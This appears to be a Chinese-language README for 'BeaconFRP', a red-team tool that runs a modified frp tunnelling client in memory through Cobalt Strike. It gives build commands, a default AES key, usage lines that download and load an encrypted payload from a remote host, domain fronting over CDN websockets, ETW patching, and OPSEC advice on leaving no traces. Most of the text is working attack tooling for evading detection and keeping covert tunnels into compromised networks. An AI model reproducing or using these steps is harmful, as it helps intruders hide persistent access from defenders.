特点介绍
内存运⾏
即不落地PE⽂件。落地的是⼀个经过aes加密(可以通过修改源代 码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。
⽀持域前置
PatchETW
远程HTTP下载 payload or 配置⽂件
1.frp源代码的修改
修改读取config配置的⽅式
修改编译exe为DLL
流量混淆
域前置 启⽤websocket配合CDN做域前置,这⾥域前置的host需要⾃⼰修改。
WSS 这个要⾃⼰改,这个是⾃带的包。
这个是websocket请求的路径,可以根据这个路径给CDN配置不同的请求源。
2.BeaconFRP
sharpfrp:
代码语言:javascript复制https://github.com/Conyon1/SharpFrp sharpfrp
在测试的时候我发现他会将dll写到缓存⽬录⾥,我觉得 并不好。加上我之前⼀直想在cs⾥运⾏frp,主要就是cs他有⼀个⼤⼩限制1MB。所以我没办法内存运⾏,如果其他c2的话我觉得完全有可能连aes加密的⽂件都不落地。
Dinvoke:https://github.com/TheWover/DInvoke 感谢这个作者提供的Dinvoke,他是frp能在内存中运⾏的重要的⼀环。
如果要加⼊域前置,⾃⼰稍微修改⼀下host就可以了。
request.Accept = "www.baidu.com"
加密使用
1.编译DLL
通过修改的frp-dev编译出来⼀个dll,由于源代码经过了修改,所以必须⾃⾏编译 ⼀份frps配合frpc使⽤。
代码语言:javascript复制go build --buildmode=c-shared -ldflags= -o ./main.dll main.go
frps
代码语言:javascript复制go build --buildmode=c-shared -ldflags= -o main.go
2.加密dll和配置⽂件
代码语言:javascript复制frpcompress.exe
frpcompress.exe --file <rawfilepath> --config <configfilepath> [--aeskey <aeskey> ]
代码语言:javascript复制--file 加密的Payload
--config 配置⽂件
--asekey 可选参数
默认密钥:0gw9zyrA7k6FPr2UvhcmOw==
Eg:
代码语言:javascript复制base64_configdata:aes加密和base64加密的配置⽂件
main.dll.raw 是经过aes加密和压缩的main.dll
Encryptor.raw 是⽤于远程加载frp的⽂件,将加密后的main.dll和frpc的配置⽂ 件写在了⼀起。只要给⼀个url便会⾃动解析配置⽂件。
如果使⽤main.dll.raw 就需要使⽤--config参数⾃定义配置⽂件。如果使⽤ Encryptor.raw就不需要,因为程序⾃动读取配置⽂件集成在⼀起了。
直接编译frpcompress
加密frpc.in和frpc.dll
代码语言:javascript复制.frpcompress.exe --file C:UsersqaxDesktopBeacon_Frptestfrpc.dll --config C:UsersqaxDesktopBeacon_Frptestfrpc.ini
返回:
代码语言:javascript复制base64_configdata: I9v4IeIc4GCTPdP6SFXcr4EfP BbA2vH7cV6WcTVnZEUh8oNa//ELB5cWNoyn pIhbf PrsjnmiyNbZKK16aovTP4SMy7aCWySX Z9job8/rwCJWRLIZM3AwsdK6y DkmNuwvTUaq3BZ2aBI0 sbFh2X6VM7gSdab3/4q62Oi3m5 KHnw2AGy431KlMwxGdgApAFwvLcjZi4kIyFPggr9fxJButVhwGWLSu0oHaQUxFM3eRF1pSHw6Dv5iHqMPX3
和加密后的文件
frp
beacon_frp文件夹为内存加载源码,直接编译就行
beaconfrp.exe 参数介绍
代码语言:javascript复制Usage: beaconfrp.exe <--file|--url> [--asekey] [--config]
Argument:
--url Download configuration files and payloads remotely
--file aes encrypted payload
--aeskey base64 encoded aes key (default: 0gw9zyrA7k6FPr2UvhcmOw== )
--config AES-encrypted base64-encoded configuration file, when using remote loading, it will automatically read the remote file loading configuration without specifying it again
Example:
beaconfrp.exe --file If no key is specified, the default aes key is used.
beaconfrp.exe --url Using the remote download function.
beaconfrp.exe --aeskey --file
beaconfrp.exe --aeskey --url Decrypt payload and configuration file with custom key.
beaconfrp.exe --url --config
beaconfrp.exe --file --config Specify the config parameter on the command line.
本地加载frp
与远程加载相⽐本地加载会落地⼀个aes加密过的⽂件 ,使⽤frpc.dll.raw加载⼀定要指定--config,不指定就会报错。
代码语言:javascript复制beaconfrp.exe --url Encryptor.raw
beaconfrp.exe --file frpc.dll.raw --config I9v4IeIc4GCTPdP6SFXcr4EfP BbA2vH7cV6WcTVnZEeNZHDLcDZI0XrCb4q XYLyAv4WYPH4L/HtFUGnjogZ9ExlFC4ASuT ewMAaJ1r j38vCxP03hZrHlGubFDavOPABnbA/SBmV8xMnT0RjyKqTJNmmXxUP2gibj0Uxp/5E3e6VwyUx jzQx2lyN26lYHkBeYVQd1Cn/tiw6Rj99P5pHuxeqxdr4ePmDAVzwcLNjLpziln NaLefH3SxD9UqOu
使⽤Encryptor.raw加载
远程加载
代码语言:javascript复制C:UsersqaxDesktopBeacon_Frptestbeaconfrp.exe --url http://10.0.3.204/Encryptor.raw
内存加载
代码语言:javascript复制execute-assembly C:UsersqaxDesktopBeacon_Frptestbeaconfrp.exe --url http://10.0.3.204/Encryptor.raw
frps
OPSEC
PatchETW
代码语言:javascript复制https://idiotc4t.com/defense-evasion/memory-pacth-bypass-etw
https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
通常在红队行动中,面临的最大挑战并不是诸如杀毒、EDR之类的防护软件,红队行动中工具&代码的杀毒绕过只是事前工作(基本功),所以攻击者使用的工具&代码往往在本地就比较完备的完成了免杀工作,在这样的背景下,如何让工具尽可能少的留下痕迹就成为了红队成员首要解决的问题。
在cobaltstrike中实现了在非托管进程中加载托管代码的功能模块execute-assembly,而这个功能因为操作系统提供的API( ICLRMetaHost、ICLRRuntimeInfo、ICLRRuntimeHost)在实现上并不复杂,但是这并不影响它的实用性。
落地情况
落地的是⼀个经过aes加密(可以通过修改源代码⾃定义aeskey,否则使⽤默认的aeskey)的数据⽂件。
使用http加载不会落地这个数据文件。建议使用http来加载。